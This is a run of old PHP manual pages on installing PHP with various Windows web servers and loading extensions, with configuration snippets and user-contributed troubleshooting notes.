Important when writing PHP scripts is the fact that Sun JSWS/Sun ONE WS/iPlanet/Netscape is a multithreaded web server. Because of that all requests are running in the same process space (the space of the web server itself) and this space has only one environment. If you want to get CGI variables like PATH_INFO, HTTP_HOST etc. it is not the correct way to try this in the old PHP way with getenv() or a similar way (register globals to environment, $_ENV). You would only get the environment of the running web server without any valid CGI variables!

Note:

Why are there (invalid) CGI variables in the environment?

Answer: This is because you started the web server process from the admin server which runs the startup script of the web server, you wanted to start, as a CGI script (a CGI script inside of the admin server!). This is why the environment of the started web server has some CGI environment variables in it. You can test this by starting the web server not from the administration server. Use the command line as root user and start it manually - you will see there are no CGI-like environment variables.

Simply change your scripts to get CGI variables in the correct way for PHP 4.x by using the superglobal $_SERVER. If you have older scripts which use $HTTP_HOST, etc., you should turn on register_globals in php.ini and change the variable order too (important: remove "E" from it, because you do not need the environment here):

variables_order = "GPCS"
register_globals = On

Special use for error pages or self-made directory listings (PHP >= 4.3.3)

You can use PHP to generate the error pages for "404 Not Found" or similar. Add the following line to the object in obj.conf for every error page you want to overwrite:

Error fn="php4_execute" code=XXX script="/path/to/script.php" [inikey=value inikey=value...]
where XXX is the HTTP error code. Please delete any other Error directives which could interfere with yours. If you want to place a page for all errors that could exist, leave the code parameter out. Your script can get the HTTP status code with $_SERVER['ERROR_TYPE'].

Another possibility is to generate self-made directory listings. Just create a PHP script which displays a directory listing and replace the corresponding default Service line for type="magnus-internal/directory" in obj.conf with the following:

Service fn="php4_execute" type="magnus-internal/directory" script="/path/to/script.php" [inikey=value inikey=value...]
For both error and directory listing pages the original URI and translated URI are in the variables $_SERVER['PATH_INFO'] and $_SERVER['PATH_TRANSLATED'].

Note about nsapi_virtual() and subrequests (PHP >= 4.3.3)

The NSAPI module now supports the nsapi_virtual() function (alias: virtual()) to make subrequests on the web server and insert the result in the web page. The problem is, that this function uses some undocumented features from the NSAPI library.

Under Unix this is not a problem, because the module automatically looks for the needed functions and uses them if available. If not, nsapi_virtual() is disabled.

Under Windows limitations in the DLL handling need the use of a automatic detection of the most recent ns-httpdXX.dll file. This is tested for servers till version 6.1. If a newer version of the Sun server is used, the detection fails and nsapi_virtual() is disabled.

If this is the case, try the following: Add the following parameter to php4_init in magnus.conf/obj.conf:

Init fn=php4_init ... server_lib="ns-httpdXX.dll"
where XX is the correct DLL version number. To get it, look in the server-root for the correct DLL name. The DLL with the biggest filesize is the right one.

You can check the status by using the phpinfo() function.

Note:

But be warned: Support for nsapi_virtual() is EXPERIMENTAL!!!

User Contributed Notes

There are no user contributed notes for this page.
Apache 2.x on Microsoft Windows
Sambar Server on Microsoft Windows
Installation on Windows systems


Sambar Server on Microsoft Windows

This section contains notes and hints specific to the » Sambar Server for Windows.

Note:

You should read the manual installation steps first!

This list describes how to set up the ISAPI module to work with the Sambar server on Windows.

  • Find the file called mappings.ini (in the config directory) in the Sambar install directory.

  • Open mappings.ini and add the following line under [ISAPI]:

    Example #1 ISAPI configuration of Sambar

    #for PHP 4
*.php = c:\php\php4isapi.dll

#for PHP 5
*.php = c:\php\php5isapi.dll
    (This line assumes that PHP was installed in c:\php.)

  • Now restart the Sambar server for the changes to take effect.

Note:

If you intend to use PHP to communicate with resources which are held on a different computer on your network, then you will need to alter the account used by the Sambar Server Service. The default account used for the Sambar Server Service is LocalSystem which will not have access to remote resources. The account can be amended by using the Services option from within the Windows Control Panel Administation Tools.

User Contributed Notes

com at sambar dot info 30-Sep-2002 05:47
Welcome,

We have now a good place for php issues on the SambarServer.

Thanks! to Derick from php.net

For specific Sambar issues you can go to http://www.sambarserver.info

Steffen
Sun, iPlanet and Netscape servers on Microsoft Windows
Xitami on Microsoft Windows
Installation on Windows systems


Xitami on Microsoft Windows

This section contains notes and hints specific to » Xitami on Windows.

Note:

You should read the manual installation steps first!

This list describes how to set up the PHP CGI binary to work with Xitami on Windows.

Note: Important for CGI users

Read the faq on cgi.force_redirect for important details. This directive needs to be set to 0. If you want to use $_SERVER['PHP_SELF'] you have to enable the cgi.fix_pathinfo directive.

Warning

A server deployed in CGI mode is open to several possible vulnerabilities. Please read our CGI security section to learn how to defend yourself from such attacks.

  • Make sure the web server is running, and point your browser to xitamis admin console (usually http://127.0.0.1/admin), and click on Configuration.

  • Navigate to the Filters, and put the extension which PHP should parse (i.e. .php) into the field File extensions (.xxx).

  • In Filter command or script put the path and name of your PHP CGI executable i.e. C:\php\php.exe for PHP 4, or C:\php\php-cgi.exe for PHP 5.

  • Press the 'Save' icon.

  • Restart the server to reflect changes.

User Contributed Notes

Tom dot Cockaert at d-c-s dot be 07-Mar-2008 07:31
I was able to get it to work with the info from Alex (
06-Jan-2007 12:22) with one addition though.

When I did the steps he mentioned I did not see anything yet in my browser.
I still had to hard refresh my page by CTRL-F5, then I finally had an output from my testscript.

Br,
Tom.
Alex 06-Jan-2007 09:22
I used php v 5.1.4 and the latest Xitami version.

1st change, use 'C:\php\php-win.exe' (in Windows OS) instead of 'C:\php\php-cgi.exe'

2nd change, you must click on the save button after you have changed the filters page and then again in the standarn configuration page.

finally, restart the server by going to the windows Gui interface (right click on the Xitami symbol in the system tray and choose properties) and click suspend (so the background for the 'X' goes red) then click start again.

hope this helps anyone with problems
ae_engine at yahoo dot com 02-Nov-2004 06:07
I have successfully configured Xitami using cgi.redirect
in PHP
set cgi.redirect = 1
set cgi.redirect_status = CGI_REDIRECT_STATUS;

in Xitami, defaults.cfg
under CGI_ENVIRONMENT
insert CGI_REDIRECT_STATUS="-"
rjb1 at catalog dot net dot au 18-Sep-2004 07:23
I am running xitami as a business www server on ms-windows. I have a number of long-running PHP scripts. I developed a tiny java applet to receive and display progressive status information from these slow scripts. It effectively facilitates SERVER PUSH from PHP scripts to IE and Netscape browsers.  Take a look: catalog.net.au/netClient.zip (Ron Boles, Melbourne, Australia)
rjb1 at catalog dot net dot au 12-Apr-2004 05:57
PHP via ISAPI with XITAMI
I have developed a small GUI in c++, which runs XITAMI and configures the Xitami ISAPI interface for use with PHP. It is so much faster than the PHP cgi interface and appears to be more stable too.
Take a look here: http://catalog.net.au/xisapi/default.html
Ron Boles
Melbourne, Australia
Roshambo 16-Oct-2003 01:39
I was only able to get PHP (4.3.3) working under Xitami (2.5c0) on Windows XP (SP1) by adding the following lines to defaults.cfg:

[Mime]
    php=application/x-httpd-php

[Filter]
    .php="c:/php/php.exe"

Note the quotation marks and the forward slashes in the filter section.
david at advisorymatters dot co dot uk 12-Sep-2003 04:54
Using the CGI (c:\php[version]\php.exe) with Xitami since PHP version 4.3.2 requires the following setting in php.ini before the $_SERVER['PHP_SELF'] call will return a value:

cgi.fix_pathinfo=1

Note that $_SERVER['SCRIPT_NAME'] still works.
janko dot slavic at email dot si 30-Nov-2002 02:51
[Editors Note]
You can force IE to disregard a cached page by pressing the Control key and click the Refresh button.

Please, do not forget the IE caches files.

I had a test.php and got the error message. I changed the defaults.cfg and also the cgi.force_redirect to = 0. After restarting the Xitami the error message was still there.
After a while I saved the test.php file to test2.php and found that it is working fine...
Sambar Server on Microsoft Windows
Building from source
Installation on Windows systems


Building from source

This chapter teaches how to compile PHP from sources on windows, using Microsoft's tools. To compile PHP with cygwin, please refer to Installation on Unix systems.

See the Wiki documentation at: » http://wiki.php.net/internals/windows/stepbystepbuild

User Contributed Notes

buda 15-Nov-2011 02:10
Using --enable-snapshot-build when setting the configure command requires you to also set --disable-static-analyze (Win7 64Bit, VC9 Express, SDK 6.1) for otherwise you will run into a fatal compiler error "C:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\Include\tchar.h(1659) : fa
tal error C1001: Interner Compilerfehler.
(Compilerdatei "msc1ast.cpp", Zeile 1411)"
(see also https://bugs.php.net/bug.php?id=55779)
thoer81 at gmail dot com 07-Mar-2010 02:52
If you're getting an error that says "We really need that arpa\nameser.h file - it is part of the win32build package", make sure you download a bindlib-something archive which is not found in VC9/x86 folder itself, but it is present in the VC9/x86/archive.
Joel Low 27-Feb-2010 02:12
To build everything in the distribution, pass --enable-snapshot-build to configure.js. In addition, you may like to use "snap" as the nmake target. If you intend to build the PHP Windows Installer, WiX source files can be obtained from http://svn.php.net/repository/php/win-installer/.
michal dot kocarek at brainbox dot cz 17-Aug-2009 11:10
PHP extensions can be compiled statically or shared.

- Shared compilation creates a well-known php_*.dll file.
- Static compilation puts the extension directly into PHP (therefore it does not need to be loaded and cannot be unloaded)

You can switch whether to compile given extension statically or as library by adding =static or =shared to the extension in configure.js command during the compilation.

configure --enable-http=static --with-openssl=shared
// http extension will be included in PHP
// openssl extension will be compiled as separate DLL
Bas van Beek 12-Mar-2009 06:50
If trying to compile the code (Windows XP, SDK v6.1) and you get the following types of errors:

c:\phpdev\php-5.2.9\main\php_network.h(128) : warning C4005: 'POLLIN' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1495) :
see previous definition of 'POLLIN'
c:\phpdev\php-5.2.9\main\php_network.h(129) : warning C4005: 'POLLPRI' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1496) :
see previous definition of 'POLLPRI'
c:\phpdev\php-5.2.9\main\php_network.h(130) : warning C4005: 'POLLOUT' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1499) :
see previous definition of 'POLLOUT'
c:\phpdev\php-5.2.9\main\php_network.h(131) : warning C4005: 'POLLERR' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1502) :
see previous definition of 'POLLERR'
c:\phpdev\php-5.2.9\main\php_network.h(132) : warning C4005: 'POLLHUP' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1503) :
see previous definition of 'POLLHUP'
c:\phpdev\php-5.2.9\main\php_network.h(133) : warning C4005: 'POLLNVAL' : macro redefinition
        c:\program files\microsoft sdks\windows\v6.1\include\winsock2.h(1504) :
see previous definition of 'POLLNVAL'
NMAKE : fatal error U1077: '"C:\Program Files\Microsoft Visual Studio 9.0\VC\BIN
\cl.exe"' : return code '0x2'
Stop.

You can alter the Makefile and add the following switch to CFLAGS:

/D _WIN32_WINNT
php at tattodecastro dot com 06-Dec-2007 04:14
If you are getting the following error message:
Input Error: There is no script engine for file extension ".js"
with Visual Studio 2005 Command Prompt or similar, try to add  "/e:jscript" to the command line.

Something like:
cscript /nologo /e:jscript win32/build/buildconf.js

It worked for me, I hope it helps.
giunta dot gaetano at gmail dot com 27-Jun-2007 06:43
A detailed tutorial for building php 5 using VC++ 2005 express edition (ie. the free version) is available here: http://elizabethmariesmith.com/2006/11/15/

It can be a huge time saver if you do not have a complete VC6 toolchain already setup
axel at kollmorgen dot net 27-May-2007 06:13
>>Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll
>
> Only if you compile with the wrong runtime library.

if this is so easy, please tell us how you managed to *not* create dependencies on msvcp71.dll/msvcr80/... using Visual C++ .NET 2000/2003/2005. thanks!
10-Dec-2006 06:09
>> Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll

Only if you compile with the wrong runtime library.
zbowden at vt dot edu 12-May-2006 07:12
When running "cscript /nologo configure.js" 5.x on Windows
2000 or XP, if you get the following error:
Microsoft JScript runtime error: Object doesn't support this
property or method

You need to have at least version 5.6 of WSH.
This is necessary because configure.js will use the .Exec()
method of the WScript.Shell.
This evidently didn't exist until 5.6?

You can download WSH 5.6 here:
http://www.microsoft.com/downloads/details.aspx?
FamilyID=c717d943-7e4b-4622-86eb-95a22b832caa&DisplayLang=en
C-Reaction.net - Software Development 03-Apr-2006 12:16
Don't forget to setup Environment variable:
BISON_SIMPLE="C:\\work\\win32build\\bin\\bison.simple"

or this can cause error:
c:/usr/local/lib/bison.simple: No such file or directory

Alexey Furmanov.
26-Jan-2005 04:30
Compiling using Visual Studio .NET will create binaries dependent of msvcp71.dll which has three repercussions:
1. This dll will need to be distributed.
2. The binaries are not currently compatible with the Zend optimiser (not sure why it should make a difference but it does).
3. Binaries are larger!
Xitami on Microsoft Windows
Installation of extensions on Windows
Installation on Windows systems


Installation of extensions on Windows

After installing PHP and a web server on Windows, you will probably want to install some extensions for added functionality. You can choose which extensions you would like to load when PHP starts by modifying your php.ini. You can also load a module dynamically in your script using dl().

The DLLs for PHP extensions are prefixed with php_.

Many extensions are built into the Windows version of PHP. This means additional DLL files, and the extension directive, are not used to load these extensions. The Windows PHP Extensions table lists extensions that require, or used to require, additional PHP DLL files. Here's a list of built in extensions:

In PHP 4 (updated PHP 4.3.11): BCMath, Caledar, COM, Ctype, FTP, MySQL, ODBC, Overload, PCRE, Session, Tokenizer, WDDX, XML and Zlib

In PHP 5 (updated PHP 5.0.4), the following changes exist. Built in: DOM, LibXML, Iconv, SimpleXML, SPL and SQLite. And the following are no longer built in: MySQL and Overload.

The default location PHP searches for extensions is C:\php4\extensions in PHP 4 and C:\php5 in PHP 5. To change this setting to reflect your setup of PHP edit your php.ini file:

  • You will need to change the extension_dir setting to point to the directory where your extensions lives, or where you have placed your php_*.dll files. For example:

    extension_dir = C:\php\extensions

  • Enable the extension(s) in php.ini you want to use by uncommenting the extension=php_*.dll lines in php.ini. This is done by deleting the leading ; from the extension you want to load.

    Example #1 Enable Bzip2 extension for PHP-Windows

    // change the following line from ...
;extension=php_bz2.dll

// ... to
extension=php_bz2.dll

  • Some of the extensions need extra DLLs to work. Couple of them can be found in the distribution package, in the C:\php\dlls\ folder in PHP 4 or in the main folder in PHP 5, but some, for example Oracle (php_oci8.dll) require DLLs which are not bundled with the distribution package. If you are installing PHP 4, copy the bundled DLLs from C:\php\dlls folder to the main C:\php folder. Don't forget to include C:\php in the system PATH (this process is explained in a separate FAQ entry).

  • Some of these DLLs are not bundled with the PHP distribution. See each extensions documentation page for details. Also, read the manual section titled Installation of PECL extensions for details on PECL. An increasingly large number of PHP extensions are found in PECL, and these extensions require a separate download.

Note: If you are running a server module version of PHP remember to restart your web server to reflect your changes to php.ini.

The following table describes some of the extensions available and required additional dlls.

PHP Extensions
Extension | Description | Notes
php_bz2.dll | bzip2 compression functions | None
php_calendar.dll | Calendar conversion functions | Built in since PHP 4.0.3
php_crack.dll | Crack functions | None
php_ctype.dll | ctype family functions | Built in since PHP 4.3.0
php_curl.dll | CURL, Client URL library functions | Requires: libeay32.dll, ssleay32.dll (bundled)
php_dba.dll | DBA: DataBase (dbm-style) Abstraction layer functions | None
php_dbase.dll | dBase functions | None
php_dbx.dll | dbx functions |
php_domxml.dll | DOM XML functions | PHP <= 4.2.0 requires: libxml2.dll (bundled) PHP >= 4.3.0 requires: iconv.dll (bundled)
php_dotnet.dll | .NET functions | PHP <= 4.1.1
php_exif.dll | EXIF functions | php_mbstring.dll. And, php_exif.dll must be loaded after php_mbstring.dll in php.ini.
php_fbsql.dll | FrontBase functions | PHP <= 4.2.0
php_fdf.dll | FDF: Forms Data Format functions. | Requires: fdftk.dll (bundled)
php_filepro.dll | filePro functions | Read-only access
php_ftp.dll | FTP functions | Built-in since PHP 4.0.3
php_gd.dll | GD library image functions | Removed in PHP 4.3.2. Also note that truecolor functions are not available in GD1, instead, use php_gd2.dll.
php_gd2.dll | GD library image functions | GD2
php_gettext.dll | Gettext functions | PHP <= 4.2.0 requires gnu_gettext.dll (bundled), PHP >= 4.2.3 requires libintl-1.dll, iconv.dll (bundled).
php_hyperwave.dll | HyperWave functions | None
php_iconv.dll | ICONV characterset conversion | Requires: iconv-1.3.dll (bundled), PHP >=4.2.1 iconv.dll
php_ifx.dll | Informix functions | Requires: Informix libraries
php_iisfunc.dll | IIS management functions | None
php_imap.dll | IMAP POP3 and NNTP functions | None
php_ingres.dll | Ingres functions | Requires: Ingres libraries
php_interbase.dll | InterBase functions | Requires: gds32.dll (bundled)
php_java.dll | Java functions | PHP <= 4.0.6 requires: jvm.dll (bundled)
php_ldap.dll | LDAP functions | PHP <= 4.2.0 requires libsasl.dll (bundled), PHP >= 4.3.0 requires libeay32.dll, ssleay32.dll (bundled)
php_mbstring.dll | Multi-Byte String functions | None
php_mcrypt.dll | Mcrypt Encryption functions | Requires: libmcrypt.dll
php_mhash.dll | Mhash functions | PHP >= 4.3.0 requires: libmhash.dll (bundled)
php_mime_magic.dll | Mimetype functions | Requires: magic.mime (bundled)
php_ming.dll | Ming functions for Flash | None
php_msql.dll | mSQL functions | Requires: msql.dll (bundled)
php_mssql.dll | MSSQL functions | Requires: ntwdblib.dll (bundled)
php_mysql.dll | MySQL functions | PHP >= 5.0.0, requires libmysql.dll (bundled)
php_mysqli.dll | MySQLi functions | PHP >= 5.0.0, requires libmysql.dll (libmysqli.dll in PHP <= 5.0.2) (bundled)
php_oci8.dll | Oracle 8 functions | Requires: Oracle 8.1+ client libraries
php_openssl.dll | OpenSSL functions | Requires: libeay32.dll (bundled)
php_overload.dll | Object overloading functions | Built in since PHP 4.3.0
php_pdf.dll | PDF functions | None
php_pgsql.dll | PostgreSQL functions | None
php_printer.dll | Printer functions | None
php_shmop.dll | Shared Memory functions | None
php_snmp.dll | SNMP get and walk functions | NT only!
php_soap.dll | SOAP functions | PHP >= 5.0.0
php_sockets.dll | Socket functions | None
php_sybase_ct.dll | Sybase functions | Requires: Sybase client libraries
php_tidy.dll | Tidy functions | PHP >= 5.0.0
php_tokenizer.dll | Tokenizer functions | Built in since PHP 4.3.0
php_w32api.dll | W32api functions | None
php_xmlrpc.dll | XML-RPC functions | PHP >= 4.2.1 requires: iconv.dll (bundled)
php_xslt.dll | XSLT functions | PHP <= 4.2.0 requires sablot.dll, expat.dll (bundled). PHP >= 4.2.1 requires sablot.dll, expat.dll, iconv.dll (bundled).
php_yaz.dll | YAZ functions | Requires: yaz.dll (bundled)
php_zip.dll | Zip File functions | Read only access
php_zlib.dll | ZLib compression functions | Built in since PHP 4.3.0

User Contributed Notes

rafaurl at gmail dot com 17-Nov-2010 02:30
I got the following error:

 PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\PHP\ext\php_curl.dll'

By using sysinternals procmon I saw that it failed after trying to load "zlib.dll". I found this file deployed with other software (in my case, Miranda IM) and copied it to the PHP installation directory. It worked fine after that. Hope that helps.
vatozana at yahoo dot com 03-Oct-2010 03:56
I had problems registering Curl extentions and it was cause by the old dll of libeay32.dll and  ssleay32.dll  which were already in my c:\windows\system32 I replaced them and all is now fine!!
readybrek 12-Mar-2010 03:59
I had a quick scan through the comments here before posting, as I've had a lot of trouble getting the mysql extension to work with PHP.  There are a lot of people who say that adding c:\PHP\ext\ (and variations of) to the path is the answer.  There are also a lot of people who find that this doesn't work and end up putting their php.ini and libmysql.dll into the windows and or system32 directories.

I found an old school solution to this problem:  Move the entries for c:\php\;c:\php\ext\;c:\mysql\bin\; to the very start of the PATH variable.  In the dark old days of DOS before Windows I remember often having to reorganise items in the PATH to get stuff working!

Now it all works like a charm.
Anonymous 07-Jan-2010 04:11
I had problem with extensions - they don't loaded (without errors) on Windows installation and don't displayed in phpinfo().

Solve: full-specified directory name for extension_dir directive - "c:/php/ext/" instead "./"
JB 04-May-2009 09:39
I had a problem with the gd and mysqli mods on my PHP5.2/Apache2.2/Windows 2003 server. Even after enabling the options in the php.ini file and restarting the Apache service, the mods still would not load. I even tried to restart the Windows 2003 server that php is loaded on - and no go. After reviewing the system path variables in Windows, I noticed that the c:\php directory was set in the path variable, but not the folder for the gd, mysqli and others mods. So I added c:\php\ext to the path variable and rebooted the server. THAT FIXED IT!!
user at user dot com 13-Dec-2008 03:40
After upgrading to PHP5 with Apache 2.2.10 on windows server 2003 I was having troubles with the error saying Fatal error: call to undefined function - mysql_connect().

I had done everything I could think of or find on the internet and was still having the same error show up.

I then ran the phpinfo() function and it showed I was reading the correct php.ini from my C:/PHP/ path and it showed a mysql version.

The problem was it loaded the mysql files in my system32 directory which were from an earlier version. I simply removed these files from my system32 directory and it had fixed the problem since I had everything else correctly setup.
spfalz at mdk-nordrhein dot de 02-Dec-2008 08:12
Make sure your php.ini file is read at all.
I had the problem that on a Windows 2003 Server the php.ini was not read, so only default values were used resulting in no extension modules to work, because they do not reside in C:\PHP5 but in D:\PHP\ext.

The output of phpinfo() told me the "Configuration File (php.ini) Path" was "C:\WINDOWS".
Well this sounded good to me because I had copied the php.ini file from D:\PHP to C:\WINDOWS.
But a path to a directory as a value of "Configuration File (php.ini) Path" instead of the full path to the php.ini file you expect to be read means that NO php.ini file could be found so that the default values are used.

What fixed the problem was adding a System variable "PHPRC" set to the path to the directory where the php.ini file is to be found.
After rebooting the Server everything was fine - the extension_dir was set correctly and after all I succeeded in connecting to my MySQL-Database-Server.
:-)

http://www.php.net/manual/en/faq.installation.php
#faq.installation.findphpini
amainATgoldcoastdesignORG 07-Oct-2008 06:01
I just recently tried to upgrade my php install on WinXP using the php-5.2.6-win32-installer.msi and with fingers crossed, tried to see if things still worked or not.

Unfortunately, they didn't.  I did see many posts here and elsewhere on the web regarding the error message:

"Unable to load dynamic link library 'ext\php_xxxxx.dll' - The specified module could not be found."

php.net says in the past when upgrading to simply copy over new php files, but now recommends using the windows installer.  Maybe the installer isn't quite up to the task yet.

My fix:

1. Completely uninstall current version of php (using Windows Control Panel > Add or Remove Programs).

2. Download the current php binaries for Windows (at php.net/downloads.php under Windows Binaries).  Should be format: PHP 5.x.x zip package.  Again, download the binaries, NOT the installer.

3. Follow these easy steps
http://www.ricocheting.com/server/php.html

4. Set your PATH for Windows to find php (if you haven't already):
a. Right-click on My Computer
b. Properties
c. Advanced Tab > Environment Variables
d. Under System variables, scroll down to find "Path", select and click on Edit
e. Add path to your php install on the end (make sure to precede with semi-colon ";").  Mine was ";G:\Apache\php"
f. Click Okay.  (then "Okay" on each of the other open windows).

5. Test php install. (see ricocheting link above for testing).

6. Getting the extensions to work again:
a. Open php.ini
b. uncomment each extension, restart Apache.

7. Special note on libmysql.dll and problems getting MySQL to work:
- You may have copied over this file into your Windows/System32 (or WINNT/System32 for me) to get mysql to work in the past.  If so, replace it with the most recent version you get with the upgrade (in top dir).
- If this is a fresh install, copy the libmysql.dll into your System32 folder.

Couple notes:
1. The above tutorial link is to install php 5.x on Apache 2.2 for Win.  If you're running Apache 2.0 like me, pay special attention to "Editing Apache Conf File" for correct LoadModule info.
2. If you ran the installer previously, double check your Apache conf where the php5 LoadModule stuff is.  The installer might have messed with this a bit.

I hope this stuff helps.
-Art
ajs at replica dot company dot uk 17-Jul-2008 02:06
If you are having trouble getting extensions to run and changes to php.ini don't seem to make a jot of difference you may find that your php.ini is not being read and you are running on defaults.

The good news is that Elsint's fix (dated 26-Sep-2006) still works for php 5.2.6 under Windows Server 2003 SP2, on IIS6, running php as an ISAPI module.

Diagnostic:

run a test file

<php
phpinfo();
?php>

Load this in a browser and search the results for "Loaded Configuration File".  This points to the .ini file in use, which I have found is not always the one I have been editing ...

If your problem is with extensions: search for extension_dir in the phpinfo() results.  If the entry which follows is C:\PHP5, or some other directory which does not exist on your drive you may need the registry fix.  The alternative is to put the php.ini file somewhere along the search path, but this is not quite as clean.

Background:

If you run the installer packages: php-5.2.5-win32-installer.msi or php-5.2.6-win32-installer.msi and choose the default install directory the following registry entires are added

HKEY_LOCAL_MACHINE
  SOFTWARE
     PHP
      InstallDir  REG_SZ C:\Program Files\PHP\
      WebServerType REG_SZ iis4ISAPI

However, the installers above do not create the IniFilePath registry entry.

So: you either go for a direct registry hack or create and run a registry file named: "[whatever].reg"

If your install directory is the default for the above installers the contents should be the 4 (four) lines below (counting the blank one!) between the pseudo tags.

<whatever.reg>
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\Program Files\\PHP"
</whatever.reg>

(Note you have to have the double backslashes for the .reg file to work even though Windows reports it worked without them).

Once you have the new registry key in place you may find it sufficient to restart the World Wide Web Publishing Service, which is also restarted if you take the slightly longer option of restarting the IIS Admin Service.

If this works for you and you want to backtrack by undoing the registry changes to test if this was the fix that did it: you may need a reboot (not just a service restart) because of some rather irritating persistencies.
php at vondi dot no-ip dot com 07-Jun-2008 11:46
If you get errors like this:
PHP Notice: Constant XML_ELEMENT_NODE already defined in Unknown on line 0

And many more complaining about XML constants, comment out the line:
extension=php_domxml.dll
in your php.ini. That extension seems to be compiled into PHP when you get those errors or something else is including the functionality before that dll.
smaines at alaya dot com 15-Feb-2008 02:51
== Problem

Consider the following from an httpd.conf file...

  LoadModule php5_module "E:/xyz/php/php5apache2_2.dll"
  PHPIniDir "E:/xyz/php"

...which led to the dreaded...

  PHP Warning:  PHP Startup: Unable to load dynamic library 'E:\\xyz\\php\\ext\\php_mysql.dll' - The specified module could not be found.

Note, however, that PHP.exe apparently was found and executed php pages in Apache, but the MySQL functions therein failed.

== Solution

Because PHP dir was not in $PATH, php5apache2_2.dll failed to find php_mysql.dll (the only extension I enabled) during Apache 2.2 start.

== Caveat (!)

The BIG issue is that, setting $PATH in...

  <desk icon>My Computer
  <rt click>Properties
  <tab>Advanced
  <button>Environment Variables

...didn't export the $PATH change such that restarting the Apache service (in MMC) would pick it up.  So I tested the working solution (adding PHP dir to $PATH), but it failed because of HOW I set it. It succeeded only when I REBOOTED after changing the $PATH.  There may be an easier way that this, but I do not know it at present.

== Comment

Consider whether PHP dir should need to be in $PATH at all, when PHP.exe apparently was found and executes php pages in Apache, but php5apache2_2.dll failed to find whatever was needed to load the extensions.  This should perhaps be addressed.

Note that on a WAMP installation (W2K,Apache,MySQL,PHP), only PHP is required in $PATH.
Manda Krishna Srikanth 30-Jan-2008 04:10
As far as my experience says, 95% of ext\php_mysql.dll - The specified module could not be found - error can be sorted out on Win 2003, IIS 6, PHP5.2.

Replace the php_mysql.dll and libmysql.dll downloaded from http://dev.mysql.com/downloads/connector/php/ into extensions directory.

For MSSQL connectivity problems, replace the ntwdblib.dll in php dir with the one copied from system32 directory. Ofcourse the filesize will be less, no problem, replace it.
jma59 at cam dot ac dot uk 21-Sep-2007 05:00
Under windows, given an error similar to

PHP Warning:  PHP Startup: Unable to load dynamic library 'c:\\php\\ext\\php_mysql.dll' - The specified module could not be found.\r\n in Unknown on line 0

When PHP definitely should be able to find the module, it's fairly common knowledge that this error can also be caused by  certain dlls not being in the PATH. These dlls (usually libeay32 and ssleay32) are generally found in your base php directory, and the modern windows installers add the base php directory to the PATH so that you don't need to worry about it. However, if when installing earlier versions you decided on moving libeay32, ssleay32 et al to C:\Windows\System32 instead of changing the PATH, then php will still end up with the old versions and the out of date versions will cause the same error as above. Don't fall into the trap like I did.
JerryG 30-Aug-2007 01:12
Installing PHP extensions for IIS for the first time is sort of a baptism by fire -- you will get your hands dirty, and other suitable metaphors of nastiness.  Hopefully, you won't have to spend too many days googling around fora and restarting IIS 10 million times as I did until I finally realized both what was going on and what crazy things I'd done wrong.

THIS (peter)guy really goes into terrific detail and troubleshooting, (with very good reasons and explanations of extension dependencies not listed on the current php page you're now reading):

http://www.peterguy.com/php/install_IIS6.html

Most of this is applicable for IIS5.1 as well, as far as I've found.

The main problem I'd been butting my head up against was extensions being reported as not found, even though the .DLLs were definitely in C:\PHP\ext, and my PATH env var was setup correctly.

The error messaging during dynamic loading of implicitly-linked libraries should be more specific, telling you that in fact it is a particular dependency of a dependency which is missing -- usually some obscure third-party .dll -- and name it!

Eventually I stopped being so greedy and just cut down on the extensions I thought I needed by commenting them out in php.ini.  That eliminated the startup errors.  Apparently some of these extensions or their requirements, which either come with the base PHP install zip or the PECL extensions, are either too obscure or too fragile to be necessary anyway.

Good luck, and I hope anyone who runs into the same trouble can hit upon this or Peter Guy's page directly before they go too crazy.
glenn65535 AT yahoo DOT com 13-Feb-2007 12:51
When confronted with the problem "PHP Warning:  PHP Startup: Unable to load dynamic library './php_mysql.dll' - Access is denied.\r\n in Unknown on line 0" I found I had to make the permissions "chmod.exe 755 php_mysql.dll"
(This is on a Windows XP, but I am running Cygwin).
YYE (yeyuancn2 at yahoo dot com) 15-Nov-2006 01:10
I just installed PHP5.2 + Apache2.2 + MySQL5 on Windows XP. Three imporatant things.
1. I tryed to put php.ini in windows directory like in early version. But php can't load it and using default values only. After I put php.ini into php installation directory, everything is fine.
2. You still need to copy libmysql.dll to windows\system32 directory for the mysql extension to work.
3. Don't forget for apache 2.2, you need php5apache2_2.dll instead of php5apache2.dll.
Freddo 12-Oct-2006 06:11
We tried to install PHP 4 ISAPI Module on IIS 6 on a Windows Server 2003 SP2 at the office.

The only way we found out to make these extensions work, is by putting the extensions DLLs in the System32\inetsrv in the Windows directory. We did the same previously with the
php4isapi.dll and php4ts.dll to make PHP work. The system was asking for a password previously.

We cannot explain it, it seems like a problem only occuring with SP2 installed because we never had this problem before. Giving the right permission to the PHP and extensions folders didn't do anything good. It always gave use a permission denied error. We even tried to give full control to Everyone on the PHP folder, same result.

I hope it can help.
elsint at yahoo dot com 26-Sep-2006 11:38
Installing PHP5.1.6 on an IIS5.1 system.

Some extensions are not working because of registry(like LDAP).

You need to create a registry file named: "inifilepath.reg"
Content should be the 3 lines under,be sure to define your PHP path correct:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\PHP]
"IniFilePath"="C:\\PHP"

After creating this file, double click it, click yes, and restart IIS. Hopefully this might solve problem for some, as it solved for me.
simi_def at c2 dot hu 17-Aug-2006 01:10
I had problems with PHP5/Apache2.2/MySQL 5 installation on a WinXp machine.

I got the

Fatal error: call to undefined function - mysql_connect().

message

Solution :
1, use correct version of ext\php_mysql.dll and libmysql.dll
2, !!! edit the CORRECT php.ini (%windir%\php.ini) like c:\windows\php.ini !!!
3, add php installation dir to PATH
4, edit php.ini to load extension php_mysql.dll

use
<?php
phpinfo();
?>
to check.
hevesir at t-mobile dot hu 07-Apr-2006 01:54
If You try to install PHP5 to IIS6 with Oracle....

Then You need some kind of pilot-exams, not for big planes, just a little one.

